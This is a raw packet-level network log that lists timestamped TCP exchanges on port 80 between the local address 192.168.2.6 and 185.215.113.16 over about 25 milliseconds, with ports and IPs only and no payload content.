Nov 20, 2024 08:12:40.961558104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961565018 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961565018 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961571932 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961585999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961599112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961600065 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961680889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961680889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.961927891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961950064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.961961985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962029934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962044001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962064028 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962064028 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962104082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962116957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962129116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962152958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962152958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962241888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962255955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962268114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962280035 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962291956 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962305069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962310076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962310076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962376118 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962387085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962407112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962419033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962419987 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962419987 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962434053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962446928 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962481976 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962481976 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.962862015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962924004 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962944984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962956905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.962970018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963025093 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963025093 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963093042 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963105917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963116884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963129044 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963140965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963152885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963152885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963190079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963202000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963239908 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963239908 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963511944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963524103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963536978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963574886 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963587046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963598967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963609934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963617086 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963617086 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963701010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963712931 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963725090 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963735104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963735104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963824034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963838100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963850975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963862896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963876963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963876963 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963876963 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963888884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963901997 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963913918 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963917971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963917971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963926077 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963939905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.963979006 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.963979006 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964431047 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964453936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964467049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964555979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964567900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964581966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964591026 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964591026 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964596033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964675903 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964688063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964699984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964709044 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964709044 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964714050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964847088 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964859009 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964870930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964883089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964890003 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964890003 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964896917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964910984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964924097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.964931965 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964931965 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.964978933 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.965002060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965014935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965382099 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965401888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965415001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965436935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.965436935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.965456009 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965468884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965481043 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965514898 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.965514898 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.965600967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965614080 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965626001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965637922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965650082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965662003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965672970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.965672970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.965974092 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.965986967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966000080 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966032982 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966032982 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966063023 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966075897 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966089010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966101885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966125965 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966125965 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966161966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966173887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966289997 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966303110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966315031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966326952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966325998 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966325998 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966340065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966351986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966365099 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966375113 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966375113 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966439009 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966451883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966465950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966485977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966485977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966485977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966653109 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.966887951 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966927052 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966939926 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.966976881 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967017889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967020035 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967017889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967113972 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967124939 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967130899 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967137098 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967156887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967183113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967191935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967191935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967267036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967278957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967291117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967303038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967323065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967340946 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967340946 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967360020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967426062 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967437029 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967448950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967469931 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967482090 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967541933 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967642069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967700958 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967714071 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967726946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967739105 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967767954 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967767954 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967864037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967875957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967888117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967900038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967911959 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967924118 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967936039 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.967936039 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967936039 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.967962980 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.968019009 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969438076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969480991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969492912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969554901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969567060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969577074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969588041 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969602108 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969602108 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969674110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969686985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969707966 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969707966 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969811916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969824076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969835043 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969845057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969856977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969868898 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969868898 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969868898 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969880104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969892025 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969902992 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969909906 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969909906 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.969914913 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.969990969 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.970027924 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.970027924 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.975857973 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.976979017 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.980716944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.980793953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.980806112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.980859041 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.981913090 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.981925011 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.981937885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.981987000 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.981987000 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.981992006 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982006073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982018948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982032061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982074976 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982074976 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982103109 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982115030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982126951 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982275009 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982285976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982297897 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982309103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982309103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982311964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982326031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982337952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982350111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982362986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982372046 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982372046 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982419014 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982430935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982450962 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982450962 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982501030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982515097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982527018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982538939 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982551098 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982563019 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982574940 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982574940 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982698917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982711077 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982722998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982734919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982743025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982743025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982806921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982819080 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982831001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982842922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982857943 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982857943 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.982963085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982980013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.982991934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983002901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983015060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983015060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983015060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983026981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983038902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983051062 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983056068 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983056068 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983063936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983103991 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983103991 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983304977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983325005 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983336926 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983347893 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983360052 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983370066 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983371973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983386040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983396053 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983397007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983411074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983412027 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983422995 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983434916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983445883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983453989 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983453989 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983462095 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983516932 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983587027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983598948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983619928 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983619928 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:40.983670950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983683109 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983695030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:40.983706951 CET	80	49833	185.215.113.16	192.168.2.6
